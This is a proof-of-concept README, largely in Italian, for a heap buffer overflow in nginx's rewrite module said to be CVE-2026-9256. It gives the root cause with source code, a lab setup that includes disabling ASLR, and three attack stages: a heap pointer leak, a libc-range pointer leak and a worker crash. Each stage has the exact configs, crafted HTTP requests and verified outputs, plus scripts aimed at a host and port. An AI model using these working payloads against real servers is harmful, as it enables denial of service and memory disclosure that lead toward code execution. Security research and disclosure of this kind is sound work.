
Proof-of-concept per CVE-2026-9256: heap buffer overflow in nginx ngx_http_rewrite_module. Include heap/libc pointer leaks e DoS crash PoC con dettagliata root cause analysis e passaggi di riproduzione.
nginx Plus e nginx Open Source ngx_http_rewrite_module contengono una vulnerabilità di overflow del buffer heap. Quando una direttiva rewrite utilizza una regex con più gruppi di cattura PCRE sovrapposti (ad es. ^/((.*))$) e una sostituzione che fa riferimento a più catture (ad es. $1&y=$2), il calcolo della dimensione del buffer del percorso statico sottostima lo spazio necessario, causando una scrittura effettiva che supera la dimensione allocata (Pool Slip).
Un attaccante non autenticato può attivarlo tramite una richiesta HTTP manipolata, causando un overflow del buffer heap nel processo worker. Quando ASLR è disabilitato o può essere bypassato, è possibile l'esecuzione di codice.
File: src/http/ngx_http_script.c:1143-1155
if (code->lengths == NULL) {
e->buf.len = code->size;
if (code->uri) {
if (r->ncaptures && (r->quoted_uri || r->plus_in_uri)) {
// BUG: escape overhead counted once for the entire URI
e->buf.len += 2 * ngx_escape_uri(NULL, r->uri.data, r->uri.len,
NGX_ESCAPE_ARGS);
}
}
for (n = 2; n < r->ncaptures; n += 2) {
e->buf.len += r->captures[n + 1] - r->captures[n]; // raw length
}
}
Ogni $N viene escapato indipendentemente durante la copia (ngx_http_script.c:1397-1401). Le catture annidate causano l'escapazione della stessa sottostringa due volte, raddoppiando il costo dell'escapazione, ma l'allocazione ne tiene conto solo una volta.
Formula dell'overflow (annidamento a 2 livelli ((.+)), Q caratteri + nell'URI):
allocated = code_size + 2*Q + 2*(Q+1)
actual = code_size + 2*(3*Q + 1)
overflow = 2*Q (precisely controllable)
Condizioni di innesco (tutte e tre necessarie):
.
├── env/
│ ├── Dockerfile # Based on nginx:1.31.0
│ ├── docker-compose.yml # Container config (SYS_PTRACE)
│ ├── entrypoint.sh # ASLR on (default)
│ ├── entrypoint_aslr_off.sh # ASLR off (for libc_leak)
│ └── nginx.conf # Vulnerable config
├── heap_leak.py # heap_leak PoC
├── libc_leak.py # libc_leak PoC
├── crash_verify.py # crash_verify PoC
├── LICENSE
└── README.md
cd env/
# Pull base image (~200MB)
docker pull nginx:1.31.0
# Build and start
docker compose up --build -d
# Verify
curl -s http://127.0.0.1:19321/
# Expected: ok
# View nginx logs (crash info)
docker compose logs -f
# Stop and remove
docker compose down
# Restart (after crash)
docker compose restart
Controllare lo stato attuale:
cat /proc/sys/kernel/randomize_va_space
# 0 = off, 1 = partial, 2 = full
heap_leak e crash_verify funzionano indipendentemente da ASLR. libc_leak richiede ASLR disabilitato sull'host:
sudo sysctl -w kernel.randomize_va_space=0
docker compose restart
In alternativa, disabilitare ASLR solo per il processo nginx (nessun privilegio di host necessario):
copiare entrypoint_aslr_off.sh su entrypoint.sh, quindi docker compose up --build -d.
Nota: i container condividono il kernel dell'host.
randomize_va_spacedeve essere impostato sull'host.
Configurazione richiesta:
location /echo/ {
rewrite ^/echo/((.+))$ /show?x=$1&y=$2 last;
}
location /show {
internal;
default_type text/plain;
return 200 "x=$arg_x\ny=$arg_y\n";
}
Meccanismo: Pool Slip fa sì che ngx_pcalloc(r->pool, sizeof(ngx_http_script_engine_t)) finisca nella zona di overflow. I campi inizializzati del motore di script (e->ip, e->sp, e->request) trapelano nella stringa di query dell'URI riscritto e vengono riflessi tramite return 200 "$arg_y".
Richiesta:
GET /echo/%25%25%25%25%25A HTTP/1.0
Risultato verificato (nginx:1.31.0, ASLR on):
e->ip = 0x00006544dec82430 (config pool codes array)
e->sp = 0x00006544dec5ada0 (request pool script stack)
e->request = 0x00006544dec58880 (request struct)
Cosa trapela: Puntatori heap grezzi all'interno dello spazio degli indirizzi del worker nginx.
PoC: heap_leak.py
Configurazione richiesta:
location /leak2/ {
rewrite ^/leak2/((.+))$ /proxy-leak?x=$1&y=$2 last;
}
location /proxy-leak {
internal;
proxy_pass http://backend; # must be reachable
add_header X-Leak-Y "$arg_y" always;
}
Meccanismo: proxy_pass attiva l'inizializzazione dell'upstream. Le strutture upstream contenenti puntatori a funzioni di libreria vengono allocate nella zona di overflow. add_header "$arg_y" scrive i byte grezzi nell'intestazione della risposta.
Richiesta:
GET /leak2/%25%25...(~40 x %25)...A HTTP/1.0
Risultato verificato (nginx:1.31.0, ASLR off, request_pool_size=7920):
leaked ptr = 0x00007fbfc3b7c346
Cosa trapela: Un puntatore grezzo nell'intervallo 0x7f... (regione di caricamento di libc). Per calcolare la base di libc, leggere /proc/<pid>/maps sul target e calcolare leaked_ptr - libc_base.
Dipendenza da ASLR: Questa fase richiede ASLR disattivato. Il puntatore trapelato ha origine dai metadati del chunk liberato (fd/bk → main_arena). Con ASLR attivo, l'offset del chunk liberato varia e piccoli overflow non possono raggiungerlo in modo affidabile.
PoC: libc_leak.py
Alternativa più semplice: Usando la modalità
redirect(rewrite ^/r/((.*))$ http://.../?$1$2 redirect;), l'intestazioneLocationespone direttamente i byte di overflow grezzi senza problemi di codifica dei caratteri. Una singola richiesta può far trapelare puntatori heap (Q=10~450) o innescare un crash (Q >= 500), senza bisogno di proxy_pass o pool_size speciale.
Configurazione richiesta:
location /leak9/ {
rewrite ^/leak9/(((((((((.+)))))))))$ /show9?a=$1&b=$2&c=$3&d=$4&e=$5&f=$6&g=$7&h=$8&i=$9 last;
}
location /show9 {
internal;
default_type text/plain;
return 200 "i=$arg_i\n";
}
Meccanismo: L'annidamento a 9 livelli produce overflow = 16Q (contro 2Q per 2 livelli). Con request_pool_size=7920, Q=123 esce dal confine del blocco del pool, sovrascrivendo i metadati del chunk malloc adiacente. glibc rileva la corruzione e termina il worker. Il master si riavvia automaticamente.
Richiesta:
GET /leak9/%2b%2b...(123 x %2b)...A HTTP/1.0
Risultato verificato (nginx:1.31.0, request_pool_size=7920):
Q=122: normal response (overflow=1952B)
Q=123: no response, nginx error.log:
corrupted size vs. prev_size
worker process XX exited on signal 6 (core dumped)
Reproduced 5/5 times.
Annidamento vs pool_size: N livelli producono overflow = (N-1)*2*Q. Il pool_size predefinito=4096 con annidamento a 9 livelli è sufficiente per causare un crash. Un pool_size più grande richiede meno livelli per un dato Q.
PoC: crash_verify.py
# Stage 1: Heap pointer leak
python3 heap_leak.py 127.0.0.1 19321
# Stage 2: libc-range pointer leak (requires ASLR off)
python3 libc_leak.py 127.0.0.1 19321
# Stage 3: DoS crash
python3 crash_verify.py 127.0.0.1 19321
Questa proof-of-concept è fornita esclusivamente a scopo educativo e di ricerca di sicurezza autorizzata. L'uso non autorizzato è proibito.
| Condizione | Dettaglio |
|---|
Nessuna var nominata, nessun $N duplicato | Percorso statico (sc.variables==0 && !sc.dup_capture) |
| Gruppo di cattura annidato nella regex | ad es. ((.+)) fa sì che $1 e $2 corrispondano allo stesso contenuto |
+ o %XX nell'URI | Attiva il percorso di escape (plus_in_uri o quoted_uri) |